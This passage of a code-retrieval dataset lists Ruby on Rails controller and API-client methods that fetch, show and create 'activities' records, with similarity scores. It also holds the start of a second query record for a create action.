format.json { render json: @activity}\n end\n end", "def user_activities(id:, **args)\n params = parameters(args) do\n optional_params :due_date, :type, :start, :limit, :done\n end\n request(:get, \"users/#{id}/activities\", params)\n end", "def goals\n get(\"/user/#{@user_id}/activities/goals/daily.json\")\n end", "def goals\n get(\"/user/#{@user_id}/activities/goals/daily.json\")\n end", "def index\n if logged_in? && current_user.identity.eql?(1)\n @activities = Activity.all\n else\n not_found\n end\n end", "def index\n @activities = current_user.attending_activities\n render :index\n end", "def activity_detail(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:get, \"activities/#{id}\", params)\n end", "def activities_on_date(date)\n get(\"/user/#{@user_id}/activities/date/#{format_date(date)}.json\")\n end", "def activities_on_date(date)\n get(\"/user/#{@user_id}/activities/date/#{format_date(date)}.json\")\n end", "def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def fetch(activity_id)\n RubyRedtail::Query.run(\"calendar/activities/#{activity_id}\", @api_hash, \"GET\")\n end", "def activities(options)\n activities_request build_url_parameters(options).merge(detailed: true)\n end", "def get_activities(user_id, params = {})\n user_id = user_id.to_s\n validate_identifier(:user_id, user_id)\n call_myspace_api(:activities, params.dup.update(:user_id => user_id))\n end", "def index\n @response = JSON.parse(current_user.access_token.token.get('/api/v0/aspects'))\n @activities = @response\n respond_to do |format|\n format.html\n format.json {render :json=> @response, :callback=>params[:callback]}\n end\n end", "def fetch_activities(token, params)\n params.to_options!\n\n # Setup params.\n setup_params_logic = lambda do |last_request, params|\n if !last_request.blank?\n params[:occurred_since_date] = last_request\n end\n end\n\n # Parse the response.\n response_parse_logic = lambda do |response|\n content_keys = {}\n doc = Nokogiri::XML(response.body)\n\n doc.xpath(\"/activities//activity\").each do |act|\n id = act.search('id').first.inner_html\n content_keys[id] = act.to_s\n end\n content_keys\n end\n\n url = format_project_url(get_api_url('activities'), params[:project_id])\n fetch(::PivotalTracker::Activity, token, url,\n response_parse_logic, setup_params_logic, true)\n end", "def tracker_activities\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities = JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n while next_ind.positive? do\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&offset=#{next_ind}&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities += JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n end\n end", "def activity(user = nil, opts = {})\n client.get_activity(user, opts)\n end", "def activities\n\t activity_feed.activities\n\tend", "def get_activities\n @params=task_params\n @project=current_user.projects.find(@params[:project_id])\n counter=0\n @res=[]\n @project.activities.each do |p|\n if p.users.include? current_user\n @res[counter]={\n activity_id: p.id, \n name: p.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end", "def show\n @activity_type = ActivityType.find(params[:id]) \n @activitypage = @activity_type.activities.page(params[:page]).per(20)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_type }\n end\n end", "def get_activity\n\t\tviewer = nil\n\t\tviewer = User.find_by_id(params[:user_id]) if (params.has_key?(:user_id))\n\t\t\n @activity = Activity.find(params[:activity_id])\n\t\t@activity.viewer = viewer if (!@activity.nil?)\n\t\t\n render :json => @activity\n end", "def get_all_activties_for_user\n\n\t@activities = Activity.all(:user_id => params[:user_id]) \n\n\t#get json format\n\tarr = Array(@activities) \n @json_format ={ 'Activities' => arr}.to_json\n\t@title = \"All Activities for ##{params[:user_id]}\"\n\t#redirect to home page\n\terb :home\nend", "def show\n render json: @day, include: [:activities]\n end", "def get_activities(user_id, params = {})\r\n user_id = user_id.to_s\r\n @context.validate_identifier(:user_id, user_id)\r\n @context.call_myspace_api(:activities, params.dup.update(:user_id => user_id))\r\n end", "def index\n @activities = @team.activities\n @activity = Activity.new(team_id: @team.id)\n end", "def show\n @my_activity = MyActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_activity }\n end\n end", "def index\n @user_activities = UserActivity.all\n end", "def index\n @user_activities = UserActivity.all\n end", "def index\n @user_activities = UserActivity.all\n end", "def list_activities\n GooglePlus::Activity.for_person(id)\n end", "def index\n render json: TeachingActivity.all\n end", "def activities\n return @activities\n end", "def show\n @recent_activity = RecentActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recent_activity }\n end\n end", "def get_project_activities(project_id_or_key, params = {})\n get(\"projects/#{project_id_or_key}/activities\", params)\n end", "def activities(params = {})\n rv = []\n try_again = true\n fetched = 0\n p = params.dup\n p[:offset] = 0\n\n while try_again do\n result = api_call(ROOT_ACTIVITIES, p)\n return nil if result.nil?\n rv += result[:results]\n\n meta = result[:meta]\n fetched += meta[:count]\n if fetched >= meta[:total]\n try_again = false\n else\n p[:offset] += meta[:count]\n end\n end\n\n rv\n end", "def activities(per_page: nil, page: nil)\n if page || per_page\n get_activities(per_page: per_page, page: page)\n else\n get_activities if @activities.empty?\n @activities.values\n end\n end", "def get_activities_by_object_type_and_id(object_type, id)\n return @client.raw(\"get\", \"/helpers/activities/#{object_type}/#{id}\")\n end", "def show\n @activity = Activity.find(params[:id])\n\n if current_user\n \t@user = current_user\n \t@user_activity = UserActivity.find_by_user_id_and_activity_id @user.id, @activity.id\n \t\n \tRails.logger.info \"#{@user_activity.inspect}\"\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def new\n @my_activity = MyActivity.new\n @all_activites = MyActivity.where(\"user_id =?\", current_user.id).order('created_at DESC').limit(10)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_activity }\n end\n end", "def activities=(value)\n @activities = value\n end", "def get_activities_by_object_type_and_id(object_type, id)\n @client.raw('get', \"/helpers/activities/#{object_type}/#{id}\")\n end", "def index\n @activities = PublicActivity::Activity.published\n\n if params[:recipient_type] and recipient_klass = params[:recipient_type].safe_constantize and r_id = params[:recipient_id] and @recipient = recipient_klass.find(r_id)\n @activities = @activities.on(@recipient)\n elsif current_user\n # This is user current feed !\n query_params = ['User', current_user.id]\n query = \"(activities.recipient_type = ? AND activities.recipient_id = ?)\"\n\n # Followed Pages\n if pages = current_user.followed_pages and pages.present?\n query += \" OR (activities.recipient_type = ? AND activities.recipient_id IN (?))\"\n query_params += [\"Page\"] + [pages.collect(&:id)]\n end\n\n @activities = @activities.where(query, *query_params)\n\n else\n head :bad_request # should not happen\n end\n\n @activities = @activities.order('updated_at DESC, created_at DESC').page(params[:page]).per(5)\n \n authorize @activities\n end", "def activities\n @persona = Persona.where(:screen_name => params[:persona_id]).first\n @activity = @persona.get_activity( params ) \n\n\t\t#setup default parameters\n\t\t#params[:targetDiv] = params.has_key? :targetDiv ? params[:targetDiv] : '#recent-activity-body'\n\t\tif !params.has_key? :targetDiv then\n\t\t\tparams[:targetDiv] = '#recent-activity-body'\n\t\tend\n\n\t\tjs :params => { :screen_name => @persona.screen_name }\n\t\trespond_to do |format| \n\t\t\tformat.html\n\t\t\tformat.js\n\t\tend\n end", "def index\n@activity = Activity.all\nend", "def index\n @current_activities = CurrentActivity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @current_activities }\n end\n end", "def index\n @status_activities = StatusActivity.all\n end", "def index\n \n @activities = Activity.search(params[:search], params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @activities }\n end\n end", "def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n format.json { render :json => @activity.to_json }\n end\n end", "def show\n @project = Project.find(params[:id])\n @activities = PublicActivity::Activity.order('created_at desc').where(:project_id=>@project.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end", "def index\n @activities = @user.activities.where(\"date = ?\", requested_date(params[:date]))\n end", "def show\n @user = User.find(params[:id])\n @activities = PublicActivity::Activity.where(owner_type: \"User\", owner_id: @user.id).limit(5).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def activities\n children('activities')\n end", "def show\n @activity = Activity.find(params[:id])\n end", "def show\n @activity_item = ActivityItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_item }\n end\n end" ]
[ "0.87229973", "0.8237991", "0.8174613", "0.8174613", "0.81609166", "0.8031665", "0.7980325", "0.79700005", "0.795089", "0.7611846", "0.7541555", "0.752615", "0.7450007", "0.74256104", "0.74131006", "0.7386156", "0.73540217", "0.7342527", "0.7318892", "0.7318892", "0.72758335", "0.7264239", "0.72252625", "0.71868676", "0.7140161", "0.7105114", "0.70855975", "0.7061582", "0.70457876", "0.70274246", "0.70241237", "0.7012036", "0.7012036", "0.7012036", "0.7012036", "0.7012036", "0.7012036", "0.7012036", "0.7012036", "0.7012036", "0.7012036", "0.699996", "0.69928265", "0.69911855", "0.69787055", "0.69322515", "0.6897415", "0.68827504", "0.6863454", "0.68626535", "0.68567526", "0.6855282", "0.6834092", "0.6829797", "0.6829797", "0.6827856", "0.6827856", "0.6806195", "0.6792906", "0.6785631", "0.6741421", "0.6733523", "0.6723781", "0.67163146", "0.667705", "0.6675488", "0.6672348", "0.6665041", "0.6656609", "0.6641119", "0.66347796", "0.66328305", "0.6629187", "0.6628469", "0.6628469", "0.6628469", "0.66130275", "0.6612095", "0.66060597", "0.6594897", "0.6593136", "0.65755486", "0.65620446", "0.6558849", "0.6557003", "0.6551075", "0.6549228", "0.65185976", "0.65051675", "0.6486497", "0.64606917", "0.6451818", "0.644346", "0.6439643", "0.6437731", "0.64259535", "0.64009535", "0.6394424", "0.63679665", "0.63594365", "0.63158023" ]
0.0
-1
GET /activities/1 GET /activities/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def activity(id)\n get(\"/activities/#{id}.json\")\n end", "def activity(id)\n get(\"/activities/#{id}.json\")\n end", "def activities\n get_call(\"1/activities.json\")\n end", "def show\n begin\n @activity = PublicActivity::Activity.all.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n return render_errors(['No activity found.'])\n end\n\n return render :json => {:status => 1, :activities => @activities}\n end", "def activities(params = {})\n scope 'default'\n get('activities/', params)\n end", "def recent_activities\n get(\"/user/#{@user_id}/activities/recent.json\")\n end", "def show\n @activity = current_user.activities.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def recent_activities()\n get(\"/user/#{@user_id}/activities/recent.json\")\n end", "def show\n @activity = current_user.user_activities.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def index\n @activities = Activity.all\n render json: @activities\n end", "def activity(params={})\n Endpoints::Activity.new(self).get(params)\n end", "def activities(id)\n get(\"/accounts/#{id}/activities\")['activities']\n end", "def show\n @activity = Activity.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def show\n @activity = Activity.find(params[:id])\n respond_to do |format|\n format.html\n format.json { render json: @activity}\n end\n end", "def activities(options={})\n response = connection.get do |req|\n req.url \"activities\", options\n end\n return_error_or_body(response)\n end", "def show\n @activities = Activity.where('schedule_id': params[:id])\n render json: @activities.as_json\n end", "def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def index(user)\n activities = []\n json = eval(RestClient.get(ENDPOINT + \"/activities?user_id=#{user}\").to_s)\n json.each do |attributes|\n activities << Activity.new(attributes)\n end\n activities\n end", "def show\n render json: @activity\n end", "def activity_detail(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:get, \"activities/#{id}\", params)\n end", "def show\n @my_activity = MyActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_activity }\n end\n end", "def favorite_activities\n get(\"/user/#{@user_id}/activities/favorite.json\")\n end", "def favorite_activities()\n get(\"/user/#{@user_id}/activities/favorite.json\")\n end", "def activities(options = {})\n get('/user/activities', query: options)\n end", "def frequent_activities\n get(\"/user/#{@user_id}/activities/frequent.json\")\n end", "def show\n @recent_activity = RecentActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recent_activity }\n end\n end", "def frequent_activities()\n get(\"/user/#{@user_id}/activities/frequent.json\")\n end", "def show\n @selected_user = User.find_by_id(params[:id])\n @activities = @selected_user.activities.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activities }\n end\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def get_activity\n\t\tviewer = nil\n\t\tviewer = User.find_by_id(params[:user_id]) if (params.has_key?(:user_id))\n\t\t\n @activity = Activity.find(params[:activity_id])\n\t\t@activity.viewer = viewer if (!@activity.nil?)\n\t\t\n render :json => @activity\n end", "def show\n @activity_type = ActivityType.find(params[:id]) \n @activitypage = @activity_type.activities.page(params[:page]).per(20)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_type }\n end\n end", "def fetch(activity_id)\n RubyRedtail::Query.run(\"calendar/activities/#{activity_id}\", @api_hash, \"GET\")\n end", "def show\n @activity = Activity.find(params[:id])\n end", "def index\n @activities = current_user.activities\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def index\n @activities = Activity.all\n end", "def show\n @activity = Activity.find(params[:id])\n\n if current_user\n \t@user = current_user\n \t@user_activity = UserActivity.find_by_user_id_and_activity_id @user.id, @activity.id\n \t\n \tRails.logger.info \"#{@user_activity.inspect}\"\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity }\n end\n end", "def show\n @activity_item = ActivityItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_item }\n end\n end", "def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n format.json { render :json => @activity.to_json }\n end\n end", "def show\n @project = Project.find(params[:id])\n @activities = PublicActivity::Activity.order('created_at desc').where(:project_id=>@project.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end", "def index\n \t@activities = Activity.all(limit: ActivitiesController::MAX_SEARCH_RESULTS)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @activities }\n end\n end", "def get_activities\n\t\tviewer = nil\n\t\tviewer = User.find_by_id(params[:user_id]) if (params.has_key?(:user_id))\n\t\t\n @activities = Activity.getActivitiesBy2(params[:category_id], params[:user_id])\n\t\t(0...@activities.length).each {|ndx| @activities[ndx].viewer = viewer}\n render :json => @activities\n end", "def activity(user = nil, opts = {})\n client.get_activity(user, opts)\n end", "def index\n @activities = current_user.activities\n @profile = current_user.profile # Comeback too\n @categories = Category.all\n respond_to do |format|\n format.html\n format.json { render json: @activities }\n end\n end", "def new\n @my_activity = MyActivity.new\n @all_activites = MyActivity.where(\"user_id =?\", current_user.id).order('created_at DESC').limit(10)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_activity }\n end\n end", "def index\n if logged_in? && current_user.identity.eql?(1)\n @activities = Activity.all\n else\n not_found\n end\n end", "def activities_on_date(date)\n get(\"/user/#{@user_id}/activities/date/#{format_date(date)}.json\")\n end", "def activities_on_date(date)\n get(\"/user/#{@user_id}/activities/date/#{format_date(date)}.json\")\n end", "def get_activities_by_object_type_and_id(object_type, id)\n return @client.raw(\"get\", \"/helpers/activities/#{object_type}/#{id}\")\n end", "def get_activities_by_object_type_and_id(object_type, id)\n @client.raw('get', \"/helpers/activities/#{object_type}/#{id}\")\n end", "def show\n @user = User.find(params[:id])\n @activities = PublicActivity::Activity.where(owner_type: \"User\", owner_id: @user.id).limit(5).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def show\n render json: @day, include: [:activities]\n end", "def activities_get(opts = {})\n activities_get_with_http_info(opts)\n end", "def activities_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.activities_get ...\"\n end\n # resource path\n local_var_path = \"/activities\"\n\n # query parameters\n query_params = {}\n query_params[:'user_id'] = opts[:'user_id'] if !opts[:'user_id'].nil?\n query_params[:'filter_id'] = opts[:'filter_id'] if !opts[:'filter_id'].nil?\n query_params[:'type'] = opts[:'type'] if !opts[:'type'].nil?\n query_params[:'start'] = opts[:'start'] if !opts[:'start'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'start_date'] = opts[:'start_date'] if !opts[:'start_date'].nil?\n query_params[:'end_date'] = opts[:'end_date'] if !opts[:'end_date'].nil?\n query_params[:'done'] = opts[:'done'] if !opts[:'done'].nil?\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = [ 'access_token' ]\n response = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#activities_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return response\n end", "def index\n @activities = @team.activities\n @activity = Activity.new(team_id: @team.id)\n end", "def show\n @activity=Activity.find(params[:id])\n end", "def index\n @activities = current_user.attending_activities\n render :index\n end", "def index\n @response = JSON.parse(current_user.access_token.token.get('/api/v0/aspects'))\n @activities = @response\n respond_to do |format|\n format.html\n format.json {render :json=> @response, :callback=>params[:callback]}\n end\n end", "def get_activities\n @params=task_params\n @project=current_user.projects.find(@params[:project_id])\n counter=0\n @res=[]\n @project.activities.each do |p|\n if p.users.include? current_user\n @res[counter]={\n activity_id: p.id, \n name: p.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end", "def goals\n get(\"/user/#{@user_id}/activities/goals/daily.json\")\n end", "def get_activities(user_id, params = {})\n user_id = user_id.to_s\n validate_identifier(:user_id, user_id)\n call_myspace_api(:activities, params.dup.update(:user_id => user_id))\n end", "def goals\n get(\"/user/#{@user_id}/activities/goals/daily.json\")\n end", "def get_activities_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.get_activities ...\"\n end\n # resource path\n local_var_path = \"/activities\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_template'] = opts[:'filter_template'] if !opts[:'filter_template'].nil?\n query_params[:'filter_name'] = opts[:'filter_name'] if !opts[:'filter_name'].nil?\n query_params[:'filter_id'] = opts[:'filter_id'] if !opts[:'filter_id'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceBareActivityResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#get_activities\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n@activity = Activity.all\nend", "def index\n render json: TeachingActivity.all\n end", "def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end", "def show\n @work_activity = WorkActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_activity }\n end\n end", "def show\n @step_activity = StepActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @step_activity }\n end\n end", "def index\n @status_activities = StatusActivity.all\n end", "def index\n @user_activities = UserActivity.all\n end", "def index\n @user_activities = UserActivity.all\n end", "def index\n @user_activities = UserActivity.all\n end", "def new\n @activity = Activity.new\n @series = get_series('activities')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def show\n @activity = Activity.find(params[:id])\n respond_to do |format|\n format.html { redirect_to activity_comments_url(@activity) }\n format.xml { render :xml => @activity.to_xml(:include => :user, :except => NB_CONFIG['api_exclude_fields']) }\n format.json { render :json => @activity.to_json(:include => :user, :except => NB_CONFIG['api_exclude_fields']) } \n end \n end", "def get_all_activties_for_user\n\n\t@activities = Activity.all(:user_id => params[:user_id]) \n\n\t#get json format\n\tarr = Array(@activities) \n @json_format ={ 'Activities' => arr}.to_json\n\t@title = \"All Activities for ##{params[:user_id]}\"\n\t#redirect to home page\n\terb :home\nend", "def all_activities(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :type, :start, :limit, :start_date, :end_date, :done\n end\n request(:get, 'activities', params)\n end", "def user_activities(id:, **args)\n params = parameters(args) do\n optional_params :due_date, :type, :start, :limit, :done\n end\n request(:get, \"users/#{id}/activities\", params)\n end", "def get_project_activities(project_id_or_key, params = {})\n get(\"projects/#{project_id_or_key}/activities\", params)\n end", "def show\n @qa_client = QaClient.find(params[:id])\n @qa_activities = @qa_client.qa_activities\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qa_client }\n end\n end", "def index\n @current_activities = CurrentActivity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @current_activities }\n end\n end", "def get_activities(user_id, params = {})\r\n user_id = user_id.to_s\r\n @context.validate_identifier(:user_id, user_id)\r\n @context.call_myspace_api(:activities, params.dup.update(:user_id => user_id))\r\n end", "def show\n @activity_tag = ActivityTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_tag }\n end\n end", "def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def show\n @activite = Activite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activite }\n end\n end", "def show\n @activity_event = ActivityEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_event }\n end\n end", "def index\n @activities = @user.activities.where(\"date = ?\", requested_date(params[:date]))\n end", "def activities\n @persona = Persona.where(:screen_name => params[:persona_id]).first\n @activity = @persona.get_activity( params ) \n\n\t\t#setup default parameters\n\t\t#params[:targetDiv] = params.has_key? :targetDiv ? params[:targetDiv] : '#recent-activity-body'\n\t\tif !params.has_key? :targetDiv then\n\t\t\tparams[:targetDiv] = '#recent-activity-body'\n\t\tend\n\n\t\tjs :params => { :screen_name => @persona.screen_name }\n\t\trespond_to do |format| \n\t\t\tformat.html\n\t\t\tformat.js\n\t\tend\n end", "def index\n @user = current_user\n @activities = Activity.where({processed: 1, user_id: current_user.id}).order('activity_date')\n #@new_activities = Activity.where({processed: 0, user_id: current_user.id}).order('activity_date')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @activities }\n end\n end", "def activity\n if params[:project_token]\n @project = Project.find_by_api_access_token(params[:project_token])\n if @project\n render '/projects/api/v1/activity'\n else\n render file: \"#{Rails.root}/public/404.html\", layout: false, status: :not_found\n end\n end\n end", "def fetch_activities(token, params)\n params.to_options!\n\n # Setup params.\n setup_params_logic = lambda do |last_request, params|\n if !last_request.blank?\n params[:occurred_since_date] = last_request\n end\n end\n\n # Parse the response.\n response_parse_logic = lambda do |response|\n content_keys = {}\n doc = Nokogiri::XML(response.body)\n\n doc.xpath(\"/activities//activity\").each do |act|\n id = act.search('id').first.inner_html\n content_keys[id] = act.to_s\n end\n content_keys\n end\n\n url = format_project_url(get_api_url('activities'), params[:project_id])\n fetch(::PivotalTracker::Activity, token, url,\n response_parse_logic, setup_params_logic, true)\n end" ]
[ "0.83788407", "0.83788407", "0.8096585", "0.7685623", "0.7667807", "0.76401794", "0.7609177", "0.75712854", "0.75329125", "0.74525696", "0.74308854", "0.7332175", "0.73110914", "0.72872484", "0.7285642", "0.7231286", "0.7206347", "0.7206347", "0.7189005", "0.7184855", "0.70567536", "0.70504594", "0.70471585", "0.6988338", "0.6986585", "0.6978882", "0.69616455", "0.6958397", "0.6953562", "0.69255227", "0.69255227", "0.6894177", "0.6878504", "0.6875385", "0.6857223", "0.68414325", "0.68293345", "0.68293345", "0.68293345", "0.68293345", "0.68293345", "0.68293345", "0.68293345", "0.68293345", "0.68293345", "0.68293345", "0.6816858", "0.680654", "0.6800987", "0.6798651", "0.67474514", "0.6725457", "0.67163175", "0.6711541", "0.6682631", "0.6630054", "0.6605643", "0.6605643", "0.659743", "0.6593531", "0.65813345", "0.65674776", "0.65497714", "0.6546729", "0.65377074", "0.6527479", "0.6508206", "0.6501104", "0.64950675", "0.6471984", "0.6470937", "0.647051", "0.644454", "0.64229137", "0.64218044", "0.64170927", "0.6408803", "0.6405781", "0.6394965", "0.63781375", "0.63781375", "0.63781375", "0.6372521", "0.63720435", "0.6365697", "0.63631016", "0.6354655", "0.63520426", "0.634384", "0.6338895", "0.6334911", "0.6326654", "0.6321508", "0.6321508", "0.63113666", "0.6310981", "0.6299206", "0.62961197", "0.6295181", "0.6292663", "0.6288323" ]
0.0
-1
POST /activities POST /activities.json
def create @activity = Activity.new(activity_params) @activity.user = current_user respond_to do |format| if @activity.save format.html { redirect_to activities_path, notice: 'Activity was successfully created.' } format.json { render :show, status: :created, location: @activity } else format.html { render :new } format.json { render json: @activity.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @activity = @user.activities.create(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Exercise event was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(params[:activity])\n\n respond_to do |format|\n if @activity.save\n flash[:success] = 'Activity was successfully created.'\n format.html { redirect_to activities_path }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(params[:activity])\n @activity[:user_id] = current_user.id\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to activities_path, notice: 'Activity was successfully created.' }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n activity_params = params.require(:activity).permit(:title, :body,\n tags_attributes:\n [:category_id])\n @activity = Activity.create(activity_params)\n current_user.activities << @activity\n respond_to do |format|\n format.html\n format.json { render json: @activity }\n end\n end", "def create\n # byebug\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to root_path, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.create activity_params\n status = @activity.new_record? ? 400 : 201\n if @activity.recurrence\n render json: @activity.activity_factory.activities.as_json, status:status\n else\n respond_with @activity, status:status\n end\n end", "def create\n @activity = Activity.new(params[:activity])\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n Activity.for_user(current_user).active.each do |a|\n a.end = Time.now\n a.save\n end\n\n @activity = Activity.new(params.permit(:description))\n @activity.user = current_user\n @activity.start = Time.now\n @activity.save!\n\n render json: @activity\n end", "def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render 